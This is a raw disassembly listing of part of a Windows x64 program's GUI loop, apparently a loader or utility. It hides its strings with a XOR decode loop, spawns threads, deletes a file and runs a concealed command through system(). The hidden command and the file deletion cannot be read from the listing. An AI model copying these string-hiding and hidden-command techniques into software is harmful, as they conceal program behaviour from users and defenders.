call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne bl
mov byte [0x1401a760a], bl
movdqa xmm0, xmmword [0x1401164a0]
movdqu xmmword [rbp + 0x1900], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1910], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1920], xmm0
mov dword [rbp + 0x1930], 0x1000006
lea rcx, [rbp + 0x1900]
call fcn.140074150
mov r9, rax
movzx r8d, bl
mov dword [rbp + 0x138], 0x6b09696c
mov dword [rbp + 0x13c], 0x575d495d
mov word [rbp + 0x140], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x138], al
inc rcx
cmp rcx, 8
jb 0x14006a4b0
mov byte [rbp + 0x141], r15b
mov dword [rbp - 0x30], 0x5e57587f
mov word [rbp - 0x2c], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 4
jb 0x14006a4e0
mov byte [rbp - 0x2b], r15b
lea rdx, [rbp + 0x138]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne byte [0x1401a760a]
mov byte [reloc.WS2_32.dll_accept], r15b
cmp dword [rbp + 0x1ca8], 0x12
je 0x1400724c2
movabs r12, 0x7fffffffffffffff
lea rbx, [0x1401a7150]
movss xmm9, dword [0x1400ebf54]
movss xmm6, dword [0x1400ebfd0]
movss xmm15, dword [0x140115d5c]
movss xmm11, dword [0x1400ec0d0]
movss xmm12, dword [0x140115d60]
movss xmm14, dword [0x140115d40]
movss xmm13, dword [0x1400ebf24]
movss xmm8, dword [0x140115d58]
movss xmm7, dword [0x140115d54]
movss xmm10, dword [0x140115d48]
nop dword [rax + rax]
cmp byte [0x1401a7a84], 0
jne 0x1400724c2
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x1ca0]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14006a5dd
lea rcx, [rbp + 0x1ca0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x1ca0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14007248d
lea rcx, [0x140078980]
call fcn.1400e4a9c
call fcn.14003f990
call fcn.1400410b0
call fcn.140022930
mov dword [rbp + 0x1e8], 0x52556f64
mov dword [rbp + 0x1ec], 0x51571358
mov word [rbp + 0x1f0], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x1f2], 1
mov rcx, r15
nop
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1e8], al
inc rcx
cmp rcx, 9
jb 0x14006a620
mov byte [rbp + 0x1f2], 0
lea r8, [rbp + 0x1e8]
lea rdx, [0x1401a75e8]
lea rcx, [rbp + 0x1c20]
call fcn.140057210
nop
call fcn.14001c4b0
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x1cd0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x1cd8]
sub eax, dword [0x140170d38]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
divss xmm1, dword [0x1400ebf70]
mov eax, dword [rbp + 0x1cdc]
sub eax, dword [0x140170d3c]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, dword [0x1400ebf6c]
mov qword [rbp + 0x1410], 0
movss dword [rbp + 0x1408], xmm1
movss dword [rbp + 0x140c], xmm0
lea r8, [rbp + 0x1410]
mov edx, 2
lea rcx, [rbp + 0x1408]
call fcn.140028af0
movss xmm0, dword [0x1401a7104]
movss dword [rbp + 0x1420], xmm0
movss xmm1, dword [0x1401a7100]
movss dword [rbp + 0x1424], xmm1
xor edx, edx
lea rcx, [rbp + 0x1420]
call fcn.140028b40
movaps xmm0, xmm9
call fcn.140028ad0
mov eax, dword [0x1401a711c]
test eax, eax
je 0x14006a72b
cmp eax, 1
jne 0x14006a726
mov edx, 0xff000000
jmp 0x14006a730
cmp eax, 2
jne 0x14006a737
mov edx, 0xffffffff
xor ecx, ecx
call fcn.1400248a0
mov dword [rbp + 0x188], 0x5f53566e
mov dword [rbp + 0x18c], 0x4f477f1c
mov dword [rbp + 0x190], 0x313221
mov byte [rbp + 0x194], 1
mov rcx, r15
nop
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x188], al
inc rcx
cmp rcx, 0xb
jb 0x14006a760
mov byte [rbp + 0x194], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c80], xmm0
mov qword [rbp + 0x1c90], r15
mov qword [rbp + 0x1c98], r15
lea rax, [rbp + 0x188]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14006a7a0
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x1c80]
call fcn.140057450
nop
mov rsi, qword [0x1401a77f0]
mov r14, qword [0x1401a77f8]
cmp rsi, r14
je 0x14006ab5f
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c40], xmm0
mov qword [rbp + 0x1c50], r15
mov qword [rbp + 0x1c58], r15
mov rbx, qword [rsi + 0x10]
mov rdi, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14006a7fe
mov rdi, qword [rsi]
cmp rbx, r12
ja 0x1400725a7
mov qword [rbp + 0x1c58], reloc.WS2_32.dll_ntohs
cmp rbx, 0xf
ja 0x14006a82b
mov qword [rbp + 0x1c50], rbx
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x1c40], xmm0
jmp 0x14006a886
mov rax, rbx
or rax, 0xf
cmp rax, r12
jbe 0x14006a83c
mov rax, r12
jmp 0x14006a849
cmp rax, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rax, rcx
mov qword [rbp], rax
lea rdx, [rbp]
lea rcx, [rbp + 0x1c40]
call fcn.1400573d0
mov qword [rbp + 0x1c40], rax
mov qword [rbp + 0x1c50], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x1c58], rcx
lea r8, [rbx + 1]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
mov dword [rbp + 0x78], 0x57564c53
mov dword [rbp + 0x7c], 0x5c57535d
mov word [rbp + 0x80], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x82], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x78], al
inc rcx
cmp rcx, 9
jb 0x14006a8b0
mov byte [rbp + 0x82], 0
lea rcx, [rbp + 0x78]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x14006a8d2
lea rcx, [rbp + 0x1c40]
cmp qword [rbp + 0x1c58], 0xf
cmova rcx, qword [rbp + 0x1c40]
mov rbx, qword [rbp + 0x1c50]
cmp rbx, rax
jne 0x14006a9c1
mov r8, rbx
lea rdx, [rbp + 0x78]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14006a9c1
mov dword [rbp + 0x58], 0x5f53566e
mov dword [rbp + 0x5c], 0x4f477f1c
mov dword [rbp + 0x60], 0x313221
mov byte [rbp + 0x64], 1
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x58], al
inc rcx
cmp rcx, 0xb
jb 0x14006a940
mov byte [rbp + 0x64], 0
lea rax, [rbp + 0x58]
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x14006a960
mov rax, qword [rbp + 0x1c98]
cmp rdi, rax
ja 0x14006a9a4
lea rbx, [rbp + 0x1c80]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x1c80]
mov qword [rbp + 0x1c90], rdi
mov r8, rdi
lea rdx, [rbp + 0x58]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x14006a9ba
xor r8d, r8d
lea r9, [rbp + 0x58]
mov rdx, rdi
lea rcx, [rbp + 0x1c80]
call fcn.140059430
mov rbx, qword [rbp + 0x1c50]
mov dword [rbp + 0x68], 0x57564c5e
mov dword [rbp + 0x6c], 0x5653595d
mov word [rbp + 0x70], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x72], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x68], al
inc rcx
cmp rcx, 9
jb 0x14006a9e0
mov byte [rbp + 0x72], 0
lea rcx, [rbp + 0x68]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x14006aa00
lea rcx, [rbp + 0x1c40]
cmp qword [rbp + 0x1c58], 0xf
cmova rcx, qword [rbp + 0x1c40]
cmp rbx, rax
jne 0x14006aaf1
mov r8, rbx
lea rdx, [rbp + 0x68]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14006aaf1
movdqa xmm0, xmmword [0x140116610]
movdqu xmmword [rbp + 0x12f0], xmm0
mov word [rbp + 0x1300], Ordinal_46
mov byte [rbp + 0x1302], 1
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x12f0], al
inc rcx
cmp rcx, 0x11
jb 0x14006aa60
mov byte [rbp + 0x1302], 0
lea rax, [rbp + 0x12f0]
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14006aa90
mov rax, qword [rbp + 0x1c98]
cmp rdi, rax
ja 0x14006aad7
lea rbx, [rbp + 0x1c80]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x1c80]
mov qword [rbp + 0x1c90], rdi
mov r8, rdi
lea rdx, [rbp + 0x12f0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x14006aaf1
xor r8d, r8d
lea r9, [rbp + 0x12f0]
mov rdx, rdi
lea rcx, [rbp + 0x1c80]
call fcn.140059430
nop
mov rdx, qword [rbp + 0x1c58]
cmp rdx, 0xf
jbe 0x14006ab32
inc rdx
mov rcx, qword [rbp + 0x1c40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ab2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007249c
call fcn.1400e486c
mov qword [rbp + 0x1c50], r15
mov qword [rbp + 0x1c58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c40], 0
add rsi, 0x20
cmp rsi, r14
jne 0x14006a7d5
lea rbx, [0x1401a7150]
movzx eax, byte [0x1401a7a76]
test al, al
jne 0x1400722de
lea rcx, [rbp + 0x1c80]
cmp qword [rbp + 0x1c98], 0xf
cmova rcx, qword [rbp + 0x1c80]
mov r8d, 0x168
lea rdx, [0x14013a701]
call fcn.14000c160
mov eax, dword [0x1401a7a38]
test eax, eax
jne 0x14006b0b2
cmp qword [0x1401a7150], 0
jne 0x14006ac11
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xe1
mov r9d, 0x104
mov r8d, 0x36607
lea rdx, [0x14013a730]
mov rcx, qword [0x1401a7280]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
mov rcx, qword [0x1401a7148]
call fcn.1400243a0
mov eax, dword [0x1401a711c]
test eax, eax
je 0x14006ac38
cmp eax, 1
jne 0x14006ac33
call fcn.140065020
jmp 0x14006ac3d
cmp eax, 2
jne 0x14006ac3d
call fcn.140068870
mov dword [0x1401a7100], 0x42ba0000
mov dword [0x1401a7104], 0x43aa0000
movss xmm0, dword [0x140115d70]
call fcn.140028ab0
mov dword [rbp + 0x20], 0x5e711a1b
mov word [rbp + 0x24], 0x45
mov byte [rbp + 0x26], 1
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x20], al
inc rcx
cmp rcx, 5
jb 0x14006ac80
mov byte [rbp + 0x26], 0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8d, [r9 + 0x32]
lea rbx, [0x1401a7180]
mov rdx, rbx
lea rcx, [rbp + 0x20]
call fcn.14004c360
call fcn.1400514b0
mov dword [rbp + 0x1400], 0x431f0000
mov dword [rbp + 0x1404], 0x41d80000
mov dword [rbp + 0x28], 0x525d5674
mov word [rbp + 0x2c], 0x52
mov byte [rbp + 0x2e], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x28], al
inc rcx
cmp rcx, 5
jb 0x14006acf0
mov byte [rbp + 0x2e], 0
lea rdx, [rbp + 0x1400]
lea rcx, [rbp + 0x28]
call fcn.14004a510
test al, al
je 0x14006ae7d
xorps xmm0, xmm0
movups xmmword [rbp + 0x17a0], xmm0
mov qword [rbp + 0x17b0], r15
mov qword [rbp + 0x17b8], r15
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14006ad40
mov rdx, rbx
lea rcx, [rbp + 0x17a0]
call fcn.140057450
lea rdx, [rbp + 0x17a0]
lea rcx, [0x1401a7610]
call fcn.1400900e0
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062ce0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1401a7828], 0
jne 0x14006ae37
lea rdx, [0x1401a7830]
lea rcx, [0x140170d98]
call fcn.1400616c0
mov byte [0x1401a7a76], 1
mov byte [0x1401a7a77], 1
movdqa xmm0, xmmword [0x140116390]
movdqu xmmword [rbp + 0x13c8], xmm0
mov word [rbp + 0x13d8], 0x100
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x13c8], al
inc rcx
cmp rcx, 0x10
jb 0x14006ae00
mov byte [rbp + 0x13d9], 0
lea rcx, [rbp + 0x13c8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [0x1401a7a38], r15d
cmp byte [0x1401a7828], 0
je 0x14006ae7d
mov rcx, qword [0x1401a7140]
call fcn.140001860
mov rcx, qword [0x1401a7140]
call fcn.140001b90
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140064840]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1401a72ed], 1
mov ecx, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14006afdd
xorps xmm0, xmm0
movups xmmword [rbp + 0x1780], xmm0
mov qword [rbp + 0x1790], r15
mov qword [rbp + 0x1798], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x14006aeb0
mov rdx, rbx
lea rcx, [rbp + 0x1780]
call fcn.140057450
lea rdx, [rbp + 0x1780]
lea rcx, [0x1401a7610]
call fcn.1400900e0
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062ce0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1401a7828], 0
jne 0x14006af97
mov byte [0x1401a7a76], 1
mov byte [0x1401a7a77], 1
movdqa xmm0, xmmword [0x140116390]
movdqu xmmword [rbp + 0x1398], xmm0
mov word [rbp + 0x13a8], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1398], al
inc rcx
cmp rcx, 0x10
jb 0x14006af60
mov byte [rbp + 0x13a9], 0
lea rcx, [rbp + 0x1398]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [0x1401a7a38], r15d
cmp byte [0x1401a7828], 0
je 0x14006afdd
mov rcx, qword [0x1401a7140]
call fcn.140001860
mov rcx, qword [0x1401a7140]
call fcn.140001b90
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140064840]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1401a72ed], 1
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x13f8], 0x431f0000
mov dword [rbp + 0x13fc], 0x41d80000
mov dword [rbp - 0x80], 0x434c7a
mov byte [rbp - 0x7c], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 3
jb 0x14006b010
mov byte [rbp - 0x7c], 0
lea rdx, [rbp + 0x13f8]
lea rcx, [rbp - 0x80]
call fcn.14004a510
test al, al
je 0x14006b0a7
movdqa xmm0, xmmword [0x140116650]
movdqu xmmword [rbp + 0x16d8], xmm0
movdqa xmm1, xmmword [0x1401162c0]
movdqu xmmword [rbp + 0x16e8], xmm1
movdqa xmm0, xmmword [0x140116a00]
movdqu xmmword [rbp + 0x16f8], xmm0
mov dword [rbp + 0x1708], 0x100380b
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x16d8], al
inc rcx
cmp rcx, 0x32
jb 0x14006b080
mov byte [rbp + 0x170b], 0
lea rcx, [rbp + 0x16d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140023f30
mov eax, dword [0x1401a7a38]
cmp eax, 1
jne 0x140071fc6
mov dword [0x1401a7100], 0x43f00000
mov dword [0x1401a7104], 0x43d90000
mov eax, dword [0x1401a711c]
test eax, eax
je 0x14006b0ea
cmp eax, 1
jne 0x14006b0e5
call fcn.140065020
jmp 0x14006b0ef
cmp eax, 2
jne 0x14006b0ef
call fcn.140068870
mov dword [rbp + 0x13f0], 0x42c40000
mov dword [rbp + 0x13f4], 0x41b80000
mov dword [rbp - 0x28], 0x55535875
mov word [rbp - 0x24], 0x100
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x28], al
inc rcx
cmp rcx, 4
jb 0x14006b120
mov byte [rbp - 0x23], 0
lea rdx, [rbp + 0x13f0]
lea rcx, [rbp - 0x28]
call fcn.14004a510
test al, al
je 0x14006b1d1
cmp byte [0x1401a7828], 0
jne 0x14006b1ca
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140078980]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401a7a88], r15d
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x13e8], 0x42c40000
mov dword [rbp + 0x13ec], 0x41b80000
mov dword [rbp + 0x40], 0x5a4a407a
mov dword [rbp + 0x44], 0x1004e4f
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x40], al
inc rcx
cmp rcx, 6
jb 0x14006b210
mov byte [rbp + 0x47], 0
lea rdx, [rbp + 0x13e8]
lea rcx, [rbp + 0x40]
call fcn.14004a510
test al, al
je 0x14006b2c4
cmp byte [0x1401a7828], 0
jne 0x14006b2ba
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140078980]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401a7a88], 1
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x13e0], 0x42c40000
mov dword [rbp + 0x13e4], 0x41b80000
mov dword [rbp + 0x50], 0x54575c75
mov dword [rbp + 0x54], 0x100444e
mov rcx, r15
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x50], al
inc rcx
cmp rcx, 6
jb 0x14006b300
mov byte [rbp + 0x57], 0
lea rdx, [rbp + 0x13e0]
lea rcx, [rbp + 0x50]
call fcn.14004a510
test al, al
je 0x14006b3b4
cmp byte [0x1401a7828], 0
jne 0x14006b3aa
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140078980]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401a7a88], 2
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1480], 0x42c40000
mov dword [rbp + 0x1484], 0x41b80000
mov dword [rbp + 0x178], 0x4f4e5c6b
mov dword [rbp + 0x17c], 0x4c595355
mov word [rbp + 0x180], 0x100
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x178], al
inc rcx
cmp rcx, 8
jb 0x14006b3f3
mov byte [rbp + 0x181], 0
lea rdx, [rbp + 0x1480]
lea rcx, [rbp + 0x178]
call fcn.14004a510
test al, al
je 0x14006b4b0
cmp byte [0x1401a7828], 0
jne 0x14006b4a6
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140078980]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401a7a88], 3
call fcn.1400514b0
call fcn.140050530
call fcn.1400514b0
cmp dword [0x1401a7a88], 0
jne 0x14006b7db
mov dword [rbp + 0x1458], 0x43d10000
mov dword [rbp + 0x145c], 0x43c98000
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x1458]
lea rcx, [0x1400ec0a0]
call fcn.14000eda0
call fcn.1400514b0
call fcn.1400514b0
movdqa xmm0, xmmword [0x140116d80]
movdqu xmmword [rbp + 0x1308], xmm0
mov dword [rbp + 0x1318], 0x7b647966
mov word [rbp + 0x131c], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1308], al
inc rcx
cmp rcx, 0x14
jb 0x14006b530
mov byte [rbp + 0x131d], 0
lea rcx, [rbp + 0x1308]
call fcn.14004a2e0
movdqa xmm0, xmmword [0x140116e30]
movdqu xmmword [rbp + 0x1298], xmm0
mov dword [rbp + 0x12a8], 0x1e6a7966
mov dword [rbp + 0x12ac], 0x3b2f293c
mov dword [rbp + 0x12b0], 0x1003535
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1298], al
inc rcx
cmp rcx, 0x1a
jb 0x14006b590
mov byte [rbp + 0x12b3], 0
lea rcx, [rbp + 0x1298]
call fcn.14004a2e0
movdqa xmm0, xmmword [0x140116720]
movdqu xmmword [rbp + 0x1320], xmm0
mov dword [rbp + 0x1330], 0x2f3b3d
mov byte [rbp + 0x1334], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1320], al
inc rcx
cmp rcx, 0x13
jb 0x14006b5e0
mov byte [rbp + 0x1334], 0
lea rcx, [rbp + 0x1320]
call fcn.14004a2e0
movdqa xmm0, xmmword [0x140116300]
movdqu xmmword [rbp + 0x1350], xmm0
mov word [rbp + 0x1360], Ordinal_41
mov byte [rbp + 0x1362], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1350], al
inc rcx
cmp rcx, 0x11
jb 0x14006b630
mov byte [rbp + 0x1362], 0
lea rcx, [rbp + 0x1350]
call fcn.14004a2e0
lea rcx, [0x1400ec0a0]
call fcn.140054480
lea rcx, [0x1400ec0a0]
call fcn.140054480
mov dword [rbp + 0x308], 0x66116218
mov dword [rbp + 0x30c], 0x4c57791c
mov dword [rbp + 0x310], 0x27302e23
mov dword [rbp + 0x314], 0x100657e
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x308], al
inc rcx
cmp rcx, 0xe
jb 0x14006b6a0
mov byte [rbp + 0x317], 0
lea rcx, [rbp + 0x308]
call fcn.140054480
movaps xmm1, xmm6
movss xmm0, dword [0x140115d44]
call fcn.140027e20
movdqa xmm0, xmmword [0x140116d00]
movdqu xmmword [rbp + 0x1278], xmm0
mov dword [rbp + 0x1288], 0x12652e2f
mov dword [rbp + 0x128c], 0x3a003b0d
mov dword [rbp + 0x1290], 0x17213b04
mov word [rbp + 0x1294], gethostname
mov byte [rbp + 0x1296], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1278], al
inc rcx
cmp rcx, 0x1d
jb 0x14006b720
mov byte [rbp + 0x1296], 0
movaps xmm0, xmmword [0x140116a40]
movups xmmword [rbp + 0x1ae0], xmm0
lea rdx, [rbp + 0x1278]
lea rcx, [rbp + 0x1ae0]
call fcn.1400544b0
xor ecx, ecx
call fcn.14001df70
test al, al
je 0x14006b7d6
movdqa xmm0, xmmword [0x140116d00]
movdqu xmmword [rbp + 0x12b8], xmm0
mov dword [rbp + 0x12c8], 0x12652e2f
mov dword [rbp + 0x12cc], 0x3a003b0d
mov dword [rbp + 0x12d0], 0x17213b04
mov word [rbp + 0x12d4], gethostname
mov byte [rbp + 0x12d6], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x12b8], al
inc rcx
cmp rcx, 0x1d
jb 0x14006b7b0
mov byte [rbp + 0x12d6], 0
lea rcx, [rbp + 0x12b8]
call fcn.140064e60
call fcn.140019ce0
cmp dword [0x1401a7a88], 1
jne 0x14006c15b
mov dword [rbp + 0x1440], 0x43d10000
mov dword [rbp + 0x1444], 0x43c98000
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x1440]
lea rcx, [0x1400ec0a0]
call fcn.14000eda0
call fcn.1400514b0
